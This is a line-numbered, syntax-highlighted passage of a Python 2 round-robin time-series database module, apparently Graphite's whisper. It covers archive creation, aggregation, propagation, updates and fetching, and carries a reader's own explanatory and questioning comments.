<span class="lnr">336 </span> headerSize = metadataSize + (archiveInfoSize * <span class="Identifier">len</span>(archiveList))
<span class="lnr">337 </span> archiveOffsetPointer = headerSize
<span class="lnr">338 </span>
<span class="lnr">339 </span> <span class="Statement">for</span> secondsPerPoint,points <span class="Statement">in</span> archiveList:
<span class="lnr">340 </span> <span class="Comment"># record the start point(offset) of each archieve.</span>
<span class="lnr">341 </span> archiveInfo = struct.pack(archiveInfoFormat, archiveOffsetPointer, secondsPerPoint, points)
<span class="lnr">342 </span> fh.write(archiveInfo)
<span class="lnr">343 </span> archiveOffsetPointer += (points * pointSize)
<span class="lnr">344 </span>
<span class="lnr">345 </span> <span class="Comment"># perserver the disk space for all archives.</span>
<span class="lnr">346 </span> zeroes = <span class="Constant">'</span><span class="Special">\x00</span><span class="Constant">'</span> * (archiveOffsetPointer - headerSize)
<span class="lnr">347 </span> fh.write(zeroes)
<span class="lnr">348 </span>
<span class="lnr">349 </span> <span class="Statement">if</span> AUTOFLUSH:
<span class="lnr">350 </span> fh.flush()
<span class="lnr">351 </span> os.fsync(fh.fileno())
<span class="lnr">352 </span>
<span class="lnr">353 </span> fh.close()
<span class="lnr">354 </span>
<span class="lnr">355 </span><span class="Statement">def</span> <span class="Identifier">__aggregate</span>(aggregationMethod, knownValues):
<span class="lnr">356 </span> <span class="Statement">if</span> aggregationMethod == <span class="Constant">'average'</span>:
<span class="lnr">357 </span> <span class="Statement">return</span> <span class="Identifier">float</span>(<span class="Identifier">sum</span>(knownValues)) / <span class="Identifier">float</span>(<span class="Identifier">len</span>(knownValues))
<span class="lnr">358 </span> <span class="Statement">elif</span> aggregationMethod == <span class="Constant">'sum'</span>:
<span class="lnr">359 </span> <span class="Statement">return</span> <span class="Identifier">float</span>(<span class="Identifier">sum</span>(knownValues))
<span class="lnr">360 </span> <span class="Statement">elif</span> aggregationMethod == <span class="Constant">'last'</span>:
<span class="lnr">361 </span> <span class="Statement">return</span> knownValues[<span class="Identifier">len</span>(knownValues)-<span class="Constant">1</span>]
<span class="lnr">362 </span> <span class="Statement">elif</span> aggregationMethod == <span class="Constant">'max'</span>:
<span class="lnr">363 </span> <span class="Statement">return</span> <span class="Identifier">max</span>(knownValues)
<span class="lnr">364 </span> <span class="Statement">elif</span> aggregationMethod == <span class="Constant">'min'</span>:
<span class="lnr">365 </span> <span class="Statement">return</span> <span class="Identifier">min</span>(knownValues)
<span class="lnr">366 </span> <span class="Statement">else</span>:
<span class="lnr">367 </span> <span class="Statement">raise</span> InvalidAggregationMethod(<span class="Constant">"Unrecognized aggregation method %s"</span> %
<span class="lnr">368 </span> aggregationMethod)
<span class="lnr">369 </span>
<span class="lnr">370 </span><span class="Statement">def</span> <span class="Identifier">__propagate</span>(fh,header,timestamp,higher,lower):
<span class="lnr">371 </span> aggregationMethod = header[<span class="Constant">'aggregationMethod'</span>]
<span class="lnr">372 </span> xff = header[<span class="Constant">'xFilesFactor'</span>]
<span class="lnr">373 </span>
<span class="lnr">374 </span> <span class="Comment"># guarantee the timestamp can be evenly divided by secondsPerPoint...but </span>
<span class="lnr">375 </span> <span class="Comment"># it will lose data precision, right??</span>
<span class="lnr">376 </span> lowerIntervalStart = timestamp - (timestamp % lower[<span class="Constant">'secondsPerPoint'</span>])
<span class="lnr">377 </span> logging.info(<span class="Constant">"timestamp is %d"</span> % timestamp)
<span class="lnr">378 </span> logging.info(<span class="Constant">"lowerIntervalStart is %d"</span> % lowerIntervalStart)
<span class="lnr">379 </span> lowerIntervalEnd = lowerIntervalStart + lower[<span class="Constant">'secondsPerPoint'</span>]
<span class="lnr">380 </span> logging.info(<span class="Constant">"lowerIntervalEnd is %d"</span> % lowerIntervalEnd)
<span class="lnr">381 </span>
<span class="lnr">382 </span> fh.seek(higher[<span class="Constant">'offset'</span>])
<span class="lnr">383 </span> packedPoint = fh.read(pointSize)
<span class="lnr">384 </span> (higherBaseInterval,higherBaseValue) = struct.unpack(pointFormat,packedPoint)
<span class="lnr">385 </span> logging.info(<span class="Constant">"higherBaseInterval,higherBaseValue is %d,%d"</span> % (higherBaseInterval,higherBaseValue))
<span class="lnr">386 </span>
<span class="lnr">387 </span> <span class="Statement">if</span> higherBaseInterval == <span class="Constant">0</span>:
<span class="lnr">388 </span> higherFirstOffset = higher[<span class="Constant">'offset'</span>]
<span class="lnr">389 </span> <span class="Statement">else</span>:
<span class="lnr">390 </span> timeDistance = lowerIntervalStart - higherBaseInterval
<span class="lnr">391 </span> pointDistance = timeDistance / higher[<span class="Constant">'secondsPerPoint'</span>]
<span class="lnr">392 </span> logging.info(<span class="Constant">"higher['secondsPerPoint'] is %d"</span> % higher[<span class="Constant">'secondsPerPoint'</span>])
<span class="lnr">393 </span> byteDistance = pointDistance * pointSize
<span class="lnr">394 </span> <span class="Comment"># higher[:higherFirstOffset] the first data point till the data point which timestamp matches the given timestamp</span>
<span class="lnr">395 </span> higherFirstOffset = higher[<span class="Constant">'offset'</span>] + (byteDistance % higher[<span class="Constant">'size'</span>])
<span class="lnr">396 </span> logging.info(<span class="Constant">"higherFirstOffset is %d"</span> % higherFirstOffset)
<span class="lnr">397 </span>
<span class="lnr">398 </span> higherPoints = lower[<span class="Constant">'secondsPerPoint'</span>] / higher[<span class="Constant">'secondsPerPoint'</span>]
<span class="lnr">399 </span> higherSize = higherPoints * pointSize
<span class="lnr">400 </span> relativeFirstOffset = higherFirstOffset - higher[<span class="Constant">'offset'</span>]
<span class="lnr">401 </span> logging.info(<span class="Constant">"relativeFirstOffset is %d"</span> % relativeFirstOffset)
<span class="lnr">402 </span> relativeLastOffset = (relativeFirstOffset + higherSize) % higher[<span class="Constant">'size'</span>]
<span class="lnr">403 </span> logging.info(<span class="Constant">"relativeLastOffset is %d"</span> % relativeLastOffset)
<span class="lnr">404 </span> higherLastOffset = relativeLastOffset + higher[<span class="Constant">'offset'</span>]
<span class="lnr">405 </span> logging.info(<span class="Constant">"higherLastOffset is %d"</span> % relativeLastOffset)
<span class="lnr">406 </span> fh.seek(higherFirstOffset)
<span class="lnr">407 </span>
<span class="lnr">408 </span> <span class="Statement">if</span> higherFirstOffset < higherLastOffset: <span class="Comment">#we don't wrap the archive</span>
<span class="lnr">409 </span> seriesString = fh.read(higherLastOffset - higherFirstOffset)
<span class="lnr">410 </span> <span class="Statement">else</span>: <span class="Comment">#We do wrap the archive..round robin</span>
<span class="lnr">411 </span> higherEnd = higher[<span class="Constant">'offset'</span>] + higher[<span class="Constant">'size'</span>]
<span class="lnr">412 </span> seriesString = fh.read(higherEnd - higherFirstOffset)
<span class="lnr">413 </span> fh.seek(higher[<span class="Constant">'offset'</span>])
<span class="lnr">414 </span> seriesString += fh.read(higherLastOffset - higher[<span class="Constant">'offset'</span>])
<span class="lnr">415 </span>
<span class="lnr">416 </span> <span class="Comment">#Now we unpack the series data we just read</span>
<span class="lnr">417 </span> byteOrder,pointTypes = pointFormat[<span class="Constant">0</span>],pointFormat[<span class="Constant">1</span>:]
<span class="lnr">418 </span> points = <span class="Identifier">len</span>(seriesString) / pointSize
<span class="lnr">419 </span> logging.info(<span class="Constant">"points is %d"</span> % points)
<span class="lnr">420 </span> seriesFormat = byteOrder + (pointTypes * points)
<span class="lnr">421 </span> unpackedSeries = struct.unpack(seriesFormat, seriesString)
<span class="lnr">422 </span> logging.info(<span class="Constant">"unpackedSeries is %s"</span> % <span class="Identifier">str</span>(unpackedSeries))
<span class="lnr">423 </span>
<span class="lnr">424 </span> <span class="Comment">#And finally we construct a list of values</span>
<span class="lnr">425 </span> neighborValues = [<span class="Identifier">None</span>] * points
<span class="lnr">426 </span> currentInterval = lowerIntervalStart
<span class="lnr">427 </span> logging.info(<span class="Constant">"currentInterval is %d"</span> % currentInterval)
<span class="lnr">428 </span> step = higher[<span class="Constant">'secondsPerPoint'</span>]
<span class="lnr">429 </span> logging.info(<span class="Constant">"step is %d"</span> % step)
<span class="lnr">430 </span>
<span class="lnr">431 </span> <span class="Comment"># the value of unpackedSeries will like below:</span>
<span class="lnr">432 </span> <span class="Comment"># (1334806980, 0.29999999999999999, 1334806990, 0.20000000000000001, 1334828600, 12.0, 1334807010, 0.29999999999999999, 1334807020, 0.5)</span>
<span class="lnr">433 </span> <span class="Comment"># and the xrange(0,len(unpackedSeries),2) will return [0,2,4,6...]</span>
<span class="lnr">434 </span> <span class="Statement">for</span> i <span class="Statement">in</span> <span class="Identifier">xrange</span>(<span class="Constant">0</span>,<span class="Identifier">len</span>(unpackedSeries),<span class="Constant">2</span>):
<span class="lnr">435 </span> pointTime = unpackedSeries[i]
<span class="lnr">436 </span> <span class="Statement">if</span> pointTime == currentInterval:
<span class="lnr">437 </span> <span class="Comment"># what does this mean???...check above comments.</span>
<span class="lnr">438 </span> neighborValues[i/<span class="Constant">2</span>] = unpackedSeries[i+<span class="Constant">1</span>]
<span class="lnr">439 </span> currentInterval += step
<span class="lnr">440 </span> logging.info(<span class="Constant">"neighborValues is %s"</span> % <span class="Identifier">str</span>(neighborValues))
<span class="lnr">441 </span>
<span class="lnr">442 </span> <span class="Comment">#Propagate aggregateValue to propagate from neighborValues if we have enough known points</span>
<span class="lnr">443 </span> knownValues = [v <span class="Statement">for</span> v <span class="Statement">in</span> neighborValues <span class="Statement">if</span> v <span class="Statement">is</span> <span class="Statement">not</span> <span class="Identifier">None</span>]
<span class="lnr">444 </span> <span class="Statement">if</span> <span class="Statement">not</span> knownValues:
<span class="lnr">445 </span> <span class="Statement">return</span> <span class="Identifier">False</span>
<span class="lnr">446 </span> logging.info(<span class="Constant">"knownValues is %s"</span> % <span class="Identifier">str</span>(knownValues))
<span class="lnr">447 </span>
<span class="lnr">448 </span> knownPercent = <span class="Identifier">float</span>(<span class="Identifier">len</span>(knownValues)) / <span class="Identifier">float</span>(<span class="Identifier">len</span>(neighborValues))
<span class="lnr">449 </span> logging.info(<span class="Constant">"knownPercent is %f"</span> % knownPercent)
<span class="lnr">450 </span> logging.info(<span class="Constant">"xff is %f"</span> % xff)
<span class="lnr">451 </span> <span class="Statement">if</span> knownPercent >= xff: <span class="Comment">#we have enough data to propagate a value!</span>
<span class="lnr">452 </span> logging.info(<span class="Constant">"aggregationMethod is %s"</span> % <span class="Identifier">str</span>(aggregationMethod))
<span class="lnr">453 </span> aggregateValue = __aggregate(aggregationMethod, knownValues)
<span class="lnr">454 </span> logging.info(<span class="Constant">"aggregateValue is %f"</span> % aggregateValue)
<span class="lnr">455 </span> myPackedPoint = struct.pack(pointFormat,lowerIntervalStart,aggregateValue)
<span class="lnr">456 </span> fh.seek(lower[<span class="Constant">'offset'</span>])
<span class="lnr">457 </span> packedPoint = fh.read(pointSize)
<span class="lnr">458 </span> (lowerBaseInterval,lowerBaseValue) = struct.unpack(pointFormat,packedPoint)
<span class="lnr">459 </span>
<span class="lnr">460 </span> <span class="Comment"># create or update</span>
<span class="lnr">461 </span> <span class="Statement">if</span> lowerBaseInterval == <span class="Constant">0</span>: <span class="Comment">#First propagated update to this lower archive</span>
<span class="lnr">462 </span> fh.seek(lower[<span class="Constant">'offset'</span>])
<span class="lnr">463 </span> fh.write(myPackedPoint)
<span class="lnr">464 </span> <span class="Statement">else</span>: <span class="Comment">#Not our first propagated update to this lower archive</span>
<span class="lnr">465 </span> timeDistance = lowerIntervalStart - lowerBaseInterval
<span class="lnr">466 </span> pointDistance = timeDistance / lower[<span class="Constant">'secondsPerPoint'</span>]
<span class="lnr">467 </span> byteDistance = pointDistance * pointSize
<span class="lnr">468 </span> lowerOffset = lower[<span class="Constant">'offset'</span>] + (byteDistance % lower[<span class="Constant">'size'</span>])
<span class="lnr">469 </span> fh.seek(lowerOffset)
<span class="lnr">470 </span> fh.write(myPackedPoint)
<span class="lnr">471 </span>
<span class="lnr">472 </span> <span class="Statement">return</span> <span class="Identifier">True</span>
<span class="lnr">473 </span>
<span class="lnr">474 </span> <span class="Statement">else</span>:
<span class="lnr">475 </span> <span class="Statement">return</span> <span class="Identifier">False</span>
<span class="lnr">476 </span>
<span class="lnr">477 </span>
<span class="lnr">478 </span><span class="Statement">def</span> <span class="Identifier">update</span>(path,value,timestamp=<span class="Identifier">None</span>):
<span class="lnr">479 </span> <span class="Constant">"""update(path,value,timestamp=None)</span>
<span class="lnr">480 </span>
<span class="lnr">481 </span><span class="Constant">path is a string</span>
<span class="lnr">482 </span><span class="Constant">value is a float</span>
<span class="lnr">483 </span><span class="Constant">timestamp is either an int or float</span>
<span class="lnr">484 </span><span class="Constant">"""</span>
<span class="lnr">485 </span> value = <span class="Identifier">float</span>(value)
<span class="lnr">486 </span> fh = <span class="Identifier">open</span>(path,<span class="Constant">'r+b'</span>)
<span class="lnr">487 </span> <span class="Statement">return</span> file_update(fh, value, timestamp)
<span class="lnr">488 </span>
<span class="lnr">489 </span>
<span class="lnr">490 </span><span class="Statement">def</span> <span class="Identifier">file_update</span>(fh, value, timestamp):
<span class="lnr">491 </span> <span class="Statement">if</span> LOCK:
<span class="lnr">492 </span> fcntl.flock( fh.fileno(), fcntl.LOCK_EX )
<span class="lnr">493 </span>
<span class="lnr">494 </span> header = __readHeader(fh)
<span class="lnr">495 </span> now = <span class="Identifier">int</span>( time.time() )
<span class="lnr">496 </span> <span class="Statement">if</span> timestamp <span class="Statement">is</span> <span class="Identifier">None</span>:
<span class="lnr">497 </span> timestamp = now
<span class="lnr">498 </span>
<span class="lnr">499 </span> timestamp = <span class="Identifier">int</span>(timestamp)
<span class="lnr">500 </span> diff = now - timestamp
<span class="lnr">501 </span> logging.info(<span class="Constant">"diff(now - timestamp) is %d"</span> % diff)
<span class="lnr">502 </span> <span class="Statement">if</span> <span class="Statement">not</span> ((diff < header[<span class="Constant">'maxRetention'</span>]) <span class="Statement">and</span> diff >= <span class="Constant">0</span>):
<span class="lnr">503 </span> <span class="Statement">raise</span> TimestampNotCovered(<span class="Constant">"Timestamp not covered by any archives in "</span>
<span class="lnr">504 </span> <span class="Constant">"this database."</span>)
<span class="lnr">505 </span>
<span class="lnr">506 </span> <span class="Comment"># for [[10,2160],[60,10080],[600,262974]], [10,2160] is the highest-precision archive, while </span>
<span class="lnr">507 </span> <span class="Comment"># [600,262974] is the lowest-precision archive...the archive list is sorted from highest-precision</span>
<span class="lnr">508 </span> <span class="Comment"># to lowest-precision.</span>
<span class="lnr">509 </span> <span class="Statement">for</span> i,archive <span class="Statement">in</span> <span class="Identifier">enumerate</span>(header[<span class="Constant">'archives'</span>]): <span class="Comment">#Find the highest-precision archive that covers timestamp</span>
<span class="lnr">510 </span> <span class="Statement">if</span> archive[<span class="Constant">'retention'</span>] < diff: <span class="Statement">continue</span>
<span class="lnr">511 </span> lowerArchives = header[<span class="Constant">'archives'</span>][i+<span class="Constant">1</span>:] <span class="Comment">#We'll pass on the update to these lower precision archives later</span>
<span class="lnr">512 </span> <span class="Statement">break</span>
<span class="lnr">513 </span>
<span class="lnr">514 </span> <span class="Comment"># The scope of variable 'archive' in for loop is beyond the for loop...a little strange feature!</span>
<span class="lnr">515 </span> <span class="Comment"># First we update the highest-precision archive</span>
<span class="lnr">516 </span> myInterval = timestamp - (timestamp % archive[<span class="Constant">'secondsPerPoint'</span>])
<span class="lnr">517 </span> myPackedPoint = struct.pack(pointFormat,myInterval,value)
<span class="lnr">518 </span> fh.seek(archive[<span class="Constant">'offset'</span>])
<span class="lnr">519 </span> packedPoint = fh.read(pointSize)
<span class="lnr">520 </span> (baseInterval,baseValue) = struct.unpack(pointFormat,packedPoint)
<span class="lnr">521 </span>
<span class="lnr">522 </span> <span class="Statement">if</span> baseInterval == <span class="Constant">0</span>: <span class="Comment">#This file's first update</span>
<span class="lnr">523 </span> <span class="Comment"># seek(offset) will reach the absolute position specified by offset.</span>
<span class="lnr">524 </span> fh.seek(archive[<span class="Constant">'offset'</span>])
<span class="lnr">525 </span> fh.write(myPackedPoint)
<span class="lnr">526 </span> baseInterval,baseValue = myInterval,value
<span class="lnr">527 </span> <span class="Statement">else</span>: <span class="Comment">#Not our first update</span>
<span class="lnr">528 </span> timeDistance = myInterval - baseInterval
<span class="lnr">529 </span> pointDistance = timeDistance / archive[<span class="Constant">'secondsPerPoint'</span>]
<span class="lnr">530 </span> byteDistance = pointDistance * pointSize
<span class="lnr">531 </span> <span class="Comment"># byteDistance % archive['size'] round-robin</span>
<span class="lnr">532 </span> myOffset = archive[<span class="Constant">'offset'</span>] + (byteDistance % archive[<span class="Constant">'size'</span>])
<span class="lnr">533 </span> fh.seek(myOffset)
<span class="lnr">534 </span> fh.write(myPackedPoint)
<span class="lnr">535 </span>
<span class="lnr">536 </span> <span class="Comment">#Now we propagate the update to lower-precision archives</span>
<span class="lnr">537 </span> higher = archive
<span class="lnr">538 </span> logging.info(<span class="Constant">"higher archive:"</span> + <span class="Identifier">str</span>(higher))
<span class="lnr">539 </span> <span class="Statement">for</span> lower <span class="Statement">in</span> lowerArchives:
<span class="lnr">540 </span> <span class="Statement">if</span> <span class="Statement">not</span> __propagate(fh, header, myInterval, higher, lower):
<span class="lnr">541 </span> <span class="Statement">break</span>
<span class="lnr">542 </span> higher = lower
<span class="lnr">543 </span>
<span class="lnr">544 </span> <span class="Statement">if</span> AUTOFLUSH:
<span class="lnr">545 </span> fh.flush()
<span class="lnr">546 </span> os.fsync(fh.fileno())
<span class="lnr">547 </span>
<span class="lnr">548 </span> fh.close()
<span class="lnr">549 </span>
<span class="lnr">550 </span>
<span class="lnr">551 </span><span class="Statement">def</span> <span class="Identifier">update_many</span>(path,points):
<span class="lnr">552 </span> <span class="Constant">"""update_many(path,points)</span>
<span class="lnr">553 </span>
<span class="lnr">554 </span><span class="Constant">path is a string</span>
<span class="lnr">555 </span><span class="Constant">points is a list of (timestamp,value) points</span>
<span class="lnr">556 </span><span class="Constant">"""</span>
<span class="lnr">557 </span> <span class="Statement">if</span> <span class="Statement">not</span> points: <span class="Statement">return</span>
<span class="lnr">558 </span> points = [ (<span class="Identifier">int</span>(t),<span class="Identifier">float</span>(v)) <span class="Statement">for</span> (t,v) <span class="Statement">in</span> points]
<span class="lnr">559 </span> points.sort(key=<span class="Statement">lambda</span> p: p[<span class="Constant">0</span>],reverse=<span class="Identifier">True</span>) <span class="Comment">#order points by timestamp, newest first</span>
<span class="lnr">560 </span> fh = <span class="Identifier">open</span>(path,<span class="Constant">'r+b'</span>)
<span class="lnr">561 </span> <span class="Statement">return</span> file_update_many(fh, points)
<span class="lnr">562 </span>
<span class="lnr">563 </span>
<span class="lnr">564 </span><span class="Statement">def</span> <span class="Identifier">file_update_many</span>(fh, points):
<span class="lnr">565 </span> <span class="Statement">if</span> LOCK:
<span class="lnr">566 </span> fcntl.flock( fh.fileno(), fcntl.LOCK_EX )
<span class="lnr">567 </span>
<span class="lnr">568 </span> header = __readHeader(fh)
<span class="lnr">569 </span> now = <span class="Identifier">int</span>( time.time() )
<span class="lnr">570 </span> archives = <span class="Identifier">iter</span>( header[<span class="Constant">'archives'</span>] )
<span class="lnr">571 </span> currentArchive = archives.<span class="Identifier">next</span>()
<span class="lnr">572 </span> currentPoints = []
<span class="lnr">573 </span>
<span class="lnr">574 </span> <span class="Statement">for</span> point <span class="Statement">in</span> points:
<span class="lnr">575 </span> age = now - point[<span class="Constant">0</span>]
<span class="lnr">576 </span>
<span class="lnr">577 </span> <span class="Statement">while</span> currentArchive[<span class="Constant">'retention'</span>] < age: <span class="Comment">#we can't fit any more points in this archive</span>
<span class="lnr">578 </span> <span class="Statement">if</span> currentPoints: <span class="Comment">#commit all the points we've found that it can fit</span>
<span class="lnr">579 </span> currentPoints.reverse() <span class="Comment">#put points in chronological order</span>
<span class="lnr">580 </span> __archive_update_many(fh,header,currentArchive,currentPoints)
<span class="lnr">581 </span> currentPoints = []
<span class="lnr">582 </span> <span class="Statement">try</span>:
<span class="lnr">583 </span> currentArchive = archives.<span class="Identifier">next</span>()
<span class="lnr">584 </span> <span class="Statement">except</span> <span class="Type">StopIteration</span>:
<span class="lnr">585 </span> currentArchive = <span class="Identifier">None</span>
<span class="lnr">586 </span> <span class="Statement">break</span>
<span class="lnr">587 </span>
<span class="lnr">588 </span> <span class="Statement">if</span> <span class="Statement">not</span> currentArchive:
<span class="lnr">589 </span> <span class="Statement">break</span> <span class="Comment">#drop remaining points that don't fit in the database</span>
<span class="lnr">590 </span>
<span class="lnr">591 </span> currentPoints.append(point)
<span class="lnr">592 </span>
<span class="lnr">593 </span> <span class="Statement">if</span> currentArchive <span class="Statement">and</span> currentPoints: <span class="Comment">#don't forget to commit after we've checked all the archives</span>
<span class="lnr">594 </span> currentPoints.reverse()
<span class="lnr">595 </span> __archive_update_many(fh,header,currentArchive,currentPoints)
<span class="lnr">596 </span>
<span class="lnr">597 </span> <span class="Statement">if</span> AUTOFLUSH:
<span class="lnr">598 </span> fh.flush()
<span class="lnr">599 </span> os.fsync(fh.fileno())
<span class="lnr">600 </span>
<span class="lnr">601 </span> fh.close()
<span class="lnr">602 </span>
<span class="lnr">603 </span>
<span class="lnr">604 </span><span class="Statement">def</span> <span class="Identifier">__archive_update_many</span>(fh,header,archive,points):
<span class="lnr">605 </span> step = archive[<span class="Constant">'secondsPerPoint'</span>]
<span class="lnr">606 </span> alignedPoints = [ (timestamp - (timestamp % step), value)
<span class="lnr">607 </span> <span class="Statement">for</span> (timestamp,value) <span class="Statement">in</span> points ]
<span class="lnr">608 </span> <span class="Comment">#Create a packed string for each contiguous sequence of points</span>
<span class="lnr">609 </span> packedStrings = []
<span class="lnr">610 </span> previousInterval = <span class="Identifier">None</span>
<span class="lnr">611 </span> currentString = <span class="Constant">""</span>
<span class="lnr">612 </span> <span class="Statement">for</span> (interval,value) <span class="Statement">in</span> alignedPoints:
<span class="lnr">613 </span> <span class="Statement">if</span> (<span class="Statement">not</span> previousInterval) <span class="Statement">or</span> (interval == previousInterval + step):
<span class="lnr">614 </span> currentString += struct.pack(pointFormat,interval,value)
<span class="lnr">615 </span> previousInterval = interval
<span class="lnr">616 </span> <span class="Statement">else</span>:
<span class="lnr">617 </span> numberOfPoints = <span class="Identifier">len</span>(currentString) / pointSize
<span class="lnr">618 </span> startInterval = previousInterval - (step * (numberOfPoints-<span class="Constant">1</span>))
<span class="lnr">619 </span> packedStrings.append( (startInterval,currentString) )
<span class="lnr">620 </span> currentString = struct.pack(pointFormat,interval,value)
<span class="lnr">621 </span> previousInterval = interval
<span class="lnr">622 </span> <span class="Statement">if</span> currentString:
<span class="lnr">623 </span> numberOfPoints = <span class="Identifier">len</span>(currentString) / pointSize
<span class="lnr">624 </span> startInterval = previousInterval - (step * (numberOfPoints-<span class="Constant">1</span>))
<span class="lnr">625 </span> packedStrings.append( (startInterval,currentString) )
<span class="lnr">626 </span>
<span class="lnr">627 </span> <span class="Comment">#Read base point and determine where our writes will start</span>
<span class="lnr">628 </span> fh.seek(archive[<span class="Constant">'offset'</span>])
<span class="lnr">629 </span> packedBasePoint = fh.read(pointSize)
<span class="lnr">630 </span> (baseInterval,baseValue) = struct.unpack(pointFormat,packedBasePoint)
<span class="lnr">631 </span> <span class="Statement">if</span> baseInterval == <span class="Constant">0</span>: <span class="Comment">#This file's first update</span>
<span class="lnr">632 </span> baseInterval = packedStrings[<span class="Constant">0</span>][<span class="Constant">0</span>] <span class="Comment">#use our first string as the base, so we start at the start</span>
<span class="lnr">633 </span>
<span class="lnr">634 </span> <span class="Comment">#Write all of our packed strings in locations determined by the baseInterval</span>
<span class="lnr">635 </span> <span class="Statement">for</span> (interval,packedString) <span class="Statement">in</span> packedStrings:
<span class="lnr">636 </span> timeDistance = interval - baseInterval
<span class="lnr">637 </span> pointDistance = timeDistance / step
<span class="lnr">638 </span> byteDistance = pointDistance * pointSize
<span class="lnr">639 </span> myOffset = archive[<span class="Constant">'offset'</span>] + (byteDistance % archive[<span class="Constant">'size'</span>])
<span class="lnr">640 </span> fh.seek(myOffset)
<span class="lnr">641 </span> archiveEnd = archive[<span class="Constant">'offset'</span>] + archive[<span class="Constant">'size'</span>]
<span class="lnr">642 </span> bytesBeyond = (myOffset + <span class="Identifier">len</span>(packedString)) - archiveEnd
<span class="lnr">643 </span>
<span class="lnr">644 </span> <span class="Statement">if</span> bytesBeyond > <span class="Constant">0</span>:
<span class="lnr">645 </span> fh.write( packedString[:-bytesBeyond] )
<span class="lnr">646 </span> <span class="Statement">assert</span> fh.tell() == archiveEnd, <span class="Constant">"archiveEnd=%d fh.tell=%d bytesBeyond=%d len(packedString)=%d"</span> % (archiveEnd,fh.tell(),bytesBeyond,<span class="Identifier">len</span>(packedString))
<span class="lnr">647 </span> fh.seek( archive[<span class="Constant">'offset'</span>] )
<span class="lnr">648 </span> fh.write( packedString[-bytesBeyond:] ) <span class="Comment">#safe because it can't exceed the archive (retention checking logic above)</span>
<span class="lnr">649 </span> <span class="Statement">else</span>:
<span class="lnr">650 </span> fh.write(packedString)
<span class="lnr">651 </span>
<span class="lnr">652 </span> <span class="Comment">#Now we propagate the updates to lower-precision archives</span>
<span class="lnr">653 </span> higher = archive
<span class="lnr">654 </span> lowerArchives = [arc <span class="Statement">for</span> arc <span class="Statement">in</span> header[<span class="Constant">'archives'</span>] <span class="Statement">if</span> arc[<span class="Constant">'secondsPerPoint'</span>] > archive[<span class="Constant">'secondsPerPoint'</span>]]
<span class="lnr">655 </span>
<span class="lnr">656 </span> <span class="Statement">for</span> lower <span class="Statement">in</span> lowerArchives:
<span class="lnr">657 </span> fit = <span class="Statement">lambda</span> i: i - (i % lower[<span class="Constant">'secondsPerPoint'</span>])
<span class="lnr">658 </span> lowerIntervals = [fit(p[<span class="Constant">0</span>]) <span class="Statement">for</span> p <span class="Statement">in</span> alignedPoints]
<span class="lnr">659 </span> uniqueLowerIntervals = <span class="Identifier">set</span>(lowerIntervals)
<span class="lnr">660 </span> propagateFurther = <span class="Identifier">False</span>
<span class="lnr">661 </span> <span class="Statement">for</span> interval <span class="Statement">in</span> uniqueLowerIntervals:
<span class="lnr">662 </span> <span class="Statement">if</span> __propagate(fh, header, interval, higher, lower):
<span class="lnr">663 </span> propagateFurther = <span class="Identifier">True</span>
<span class="lnr">664 </span>
<span class="lnr">665 </span> <span class="Statement">if</span> <span class="Statement">not</span> propagateFurther:
<span class="lnr">666 </span> <span class="Statement">break</span>
<span class="lnr">667 </span> higher = lower
<span class="lnr">668 </span>
<span class="lnr">669 </span>
<span class="lnr">670 </span><span class="Statement">def</span> <span class="Identifier">info</span>(path):
<span class="lnr">671 </span> <span class="Constant">"""info(path)</span>
<span class="lnr">672 </span>
<span class="lnr">673 </span><span class="Constant">path is a string</span>
<span class="lnr">674 </span><span class="Constant">"""</span>
<span class="lnr">675 </span> fh = <span class="Identifier">open</span>(path,<span class="Constant">'rb'</span>)
<span class="lnr">676 </span> info = __readHeader(fh)
<span class="lnr">677 </span> fh.close()
<span class="lnr">678 </span> <span class="Statement">return</span> info
<span class="lnr">679 </span>
<span class="lnr">680 </span>
<span class="lnr">681 </span><span class="Statement">def</span> <span class="Identifier">fetch</span>(path,fromTime,untilTime=<span class="Identifier">None</span>):
<span class="lnr">682 </span> <span class="Constant">"""fetch(path,fromTime,untilTime=None)</span>
<span class="lnr">683 </span>
<span class="lnr">684 </span><span class="Constant">path is a string</span>
<span class="lnr">685 </span><span class="Constant">fromTime is an epoch time</span>
<span class="lnr">686 </span><span class="Constant">untilTime is also an epoch time, but defaults to now</span>
<span class="lnr">687 </span><span class="Constant">"""</span>
<span class="lnr">688 </span> fh = <span class="Identifier">open</span>(path,<span class="Constant">'rb'</span>)
<span class="lnr">689 </span> <span class="Statement">return</span> file_fetch(fh, fromTime, untilTime)
<span class="lnr">690 </span>
<span class="lnr">691 </span>
<span class="lnr">692 </span><span class="Statement">def</span> <span class="Identifier">file_fetch</span>(fh, fromTime, untilTime):
<span class="lnr">693 </span> header = __readHeader(fh)
<span class="lnr">694 </span> now = <span class="Identifier">int</span>( time.time() )
<span class="lnr">695 </span> <span class="Statement">if</span> untilTime <span class="Statement">is</span> <span class="Identifier">None</span>:
<span class="lnr">696 </span> untilTime = now
<span class="lnr">697 </span> fromTime = <span class="Identifier">int</span>(fromTime)
<span class="lnr">698 </span> untilTime = <span class="Identifier">int</span>(untilTime)
<span class="lnr">699 </span>
<span class="lnr">700 </span> oldestTime = now - header[<span class="Constant">'maxRetention'</span>]
<span class="lnr">701 </span> <span class="Statement">if</span> fromTime < oldestTime:
<span class="lnr">702 </span> fromTime = oldestTime
<span class="lnr">703 </span>
<span class="lnr">704 </span> <span class="Statement">if</span> <span class="Statement">not</span> (fromTime < untilTime):
<span class="lnr">705 </span> <span class="Statement">raise</span> InvalidTimeInterval(<span class="Constant">"Invalid time interval"</span>)
<span class="lnr">706 </span> <span class="Statement">if</span> untilTime > now:
<span class="lnr">707 </span> untilTime = now
<span class="lnr">708 </span> <span class="Statement">if</span> untilTime < fromTime:
<span class="lnr">709 </span> untilTime = now
<span class="lnr">710 </span>
<span class="lnr">711 </span> diff = now - fromTime
<span class="lnr">712 </span> <span class="Statement">for</span> archive <span class="Statement">in</span> header[<span class="Constant">'archives'</span>]:
<span class="lnr">713 </span> <span class="Statement">if</span> archive[<span class="Constant">'retention'</span>] >= diff:
<span class="lnr">714 </span> <span class="Statement">break</span>
<span class="lnr">715 </span>
<span class="lnr">716 </span> fromInterval = <span class="Identifier">int</span>( fromTime - (fromTime % archive[<span class="Constant">'secondsPerPoint'</span>]) ) + archive[<span class="Constant">'secondsPerPoint'</span>]
<span class="lnr">717 </span> untilInterval = <span class="Identifier">int</span>( untilTime - (untilTime % archive[<span class="Constant">'secondsPerPoint'</span>]) ) + archive[<span class="Constant">'secondsPerPoint'</span>]
<span class="lnr">718 </span> fh.seek(archive[<span class="Constant">'offset'</span>])
